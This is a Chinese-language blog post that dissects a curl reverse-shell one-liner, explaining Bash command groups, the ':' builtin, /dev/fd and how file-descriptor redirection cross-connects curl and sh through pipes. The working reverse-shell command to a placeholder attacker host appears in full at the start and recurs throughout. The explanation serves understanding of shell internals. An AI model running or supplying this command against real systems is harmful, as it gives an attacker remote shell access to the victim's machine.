curl 反弹 shell 原理
在某社交网站上看到一句 curl 反弹 shell 命令:
{ curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1|:
这句命令就像魔法一样神奇,和常见的反弹 shell 命令大相径庭。我花了些时间才理解它是如何工作的。
本文将简要叙述它的工作原理,但不会涉及反弹 shell 的基础知识。如果读者缺乏这些基础知识,可参考《Linux反弹shell(一)文件描述符与重定向》和《Linux 反弹shell(二)反弹shell的本质》。
预备知识
冒号
命令的最后一个字符冒号是个鲜为人知的 Bash 内置命令,用 man bash
查看手册可以找到如下的说明:
: [参数]
无效;除了扩展参数和执行任何指定的重定向外,该命令没有任何作用。返回的退出码为 0。
花括号
在 Bash 中,花括号有多种不同的用法,详情见《浅析 Bash 中的 {花括号}》。在我们尝试理解的魔法命令中用到了其中一种:可以在花括号中写多条命令,这些命令构成一个命令组,花括号后的重定向将对命令组中所有命令生效。
例如执行如下命令:
{ echo 1 ; echo 2 ; } > out.txt
会发现屏幕没有任何输出,out.txt
的内容是:
1
2
可见两条 echo
命令的标准输出都被重定向到了文件 out.txt
。
需要注意的是,命令组中最后一条命令的后面也需要添加分号,以明确标识命令结束,否则 Bash 的语法解析器将无法正确解析。
另外,命令组的重定向优先级低于组内命令自身的重定向。例如执行如下命令:
{ echo 1 > inner.txt ; echo 2 ; } > outer.txt
会发现第一个 echo
命令的输出被重定向到了 inner.txt
,而不是 outer.txt
。
/dev/fd/
/dev/fd/
是指向 /proc/self/fd
的软链接。
$ ls -l /dev/fd
lrwxrwxrwx 1 root root 13 Jan 30 12:23 /dev/fd -> /proc/self/fd
/proc/self
是一个特殊的软链接。当有进程查询该软链接的值时,Linux 内核会将 /proc/self
指向 /proc/<该进程的 PID>
。
curl 参数
使用 man curl
可以查询到魔法命令中 curl 各个参数的含义,整理后列举如下:
- -s, –silent:不显示进度或错误信息。但仍会传输指定数据或输出内容到
stdout
。 - -N, –no-buffer:禁用输出流的缓冲功能。正常情况下,curl 会使用一个标准的缓冲输出流,它的作用是将数据分块输出,而不是数据到达后立即输出。可使用该选项禁用这种缓冲。
- -k, –insecure:忽略证书错误。
- -T, –upload-file
:上传指定本地文件到远程 URL。可用 -
做文件名以从stdin
读取文件内容;也可用.
做文件名,以非阻塞模式从stdin
读取文件内容。非阻塞模式是指可从stdin
读取文件内容的同时读取服务端输出。
语法分析
为理解魔法命令,我们先对其进行语法分析。
魔法命令被倒数第二个字符 |
(管道)分为前后两部分,如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+-----------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+ +-------+ : |
| | | |
+-----------------------------------------------------------------+ +-------+
前半部分是写在花括号中的命令组,命令组中包含由管道连接的两条命令,如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
| | | | | |
| {...} 3>&1 +------+ +-------+ : |
| | | |
+------+-----+ +-------+
|
+------+-----+
| |
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+------------------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 | | sh 3>&-; |
| | | |
+------------------------------------------------+ +----------+
fd 重定向分析
完成语法分析后可对 fd 重定向情况进行分析。
假设执行这条命令的 Bash 的 stdin
和 stdout
都是 pts/0
。外层 |
(倒数第二个字符)产生的匿名管道为 pipe1
,内层 |
(curl 和 sh 之间的管道)产生的匿名管道为 pipe2
。
可标注出外层 |
前后命令的 fd 如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+-----------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} 3>&1 +------+ +-------+ : |
| | | |
+-----------------------------------------------------------------+ +-------+
stdin : pts/0 stdin : pipe1
stdout: pipe1 stdout: pts/0
命令组后的 3>&1
将 fd 3 重定向到了 fd 1,即 stdout
,如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------------------------------------------------------+ | | +-------+
| | | | | |
| { curl -sNkT . https://$LHOST:$LPORT </dev/fd/3| sh 3>&-;} +------+ +-------+ : |
| | | |
+------------------------------------------------------------+ +-------+
stdin : pts/0 stdin : pipe1
stdout: pipe1 stdout: pts/0
fd 3 : pipe1
命令组中的命令会继承 {}
的 fd,同时命令组中两条命令也由一个管道连接,综合这两点可标注出 curl 和 sh 的 fd 如下图所示。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
stdin : pts/0 | | | | | |
stdout: pipe1 | {...} 3>&1 +------+ +-------+ : |
fd 3 : pipe1 | | | |
+------+-----+ +-------+
|
+------+-----+ stdin : pipe1
| | stdout: pts/0
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+------------------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT </dev/fd/3 | | sh 3>&-; |
| | | |
+------------------------------------------------+ +----------+
stdin : pts/0 stdin : pipe2
stdout: pipe2 stdout: pipe1
fd 3 : pipe1 fd 3 : pipe1
curl 和 sh 各自又有一个重定向。curl 的 </dev/fd/3
表示把 stdin
重定向为 fd 3,即 pipe1
。sh 的 3>&-
表示关闭 fd 3。考虑到这两个重定向,最后可得到下图。
+-------+
| |
| | |
| |
+-+---+-+
| |
+------------+ | | +-------+
stdin : pts/0 | | | | | |
stdout: pipe1 | {...} 3>&1 +------+ +-------+ : |
fd 3 : pipe1 | | | |
+------+-----+ +-------+
|
+------+-----+ stdin : pipe1
| | stdout: pts/0
| | |
| |
+---+---+----+
| |
| +-------------------------------------+
| |
+-----------------+--------------------+ +-----+----+
| | | |
| curl -sNkT . https://$LHOST:$LPORT | | sh |
| | | |
+--------------------------------------+ +----------+
stdin : pipe1 stdin : pipe2
stdout: pipe2 stdout: pipe1
fd 3 : pipe1
从上图可以很清晰地看出,curl 的 stdin
和 sh 的 stdout
、 sh 的 stdin
和 curl 的 stdout
分别通过匿名管道 pipe1
和 pipe2
相连。
工作原理
至此,我们已经基本弄清了魔法命令的工作原理,总结如下:利用 Bash 语法:命令组、管道和重定向等让 curl 命令和 sh 命令的 stdin
和 stdout
交错相连;又添加 -T
等参数和文件名 .
让 curl 读取 stdin
的内容发送到服务端,同时读取服务端返回的数据并输出到 stdout
。
遗留问题
为何要关闭 sh 命令的 fd 3?
测试发现其实不关闭 sh 命令的 fd 3 反弹 shell 也可以正常工作。
: 命令的作用是什么?
建立匿名管道 pipe1
,且 :
命令不会去读 pipe1
,不影响反弹 shell 工作。如果把 :
换成同样不会读 stdin
的 true
命令,反弹 shell 仍然可以工作,但如果换成会读 stdin
的命令如 cat
,反弹 shell 就无法工作了。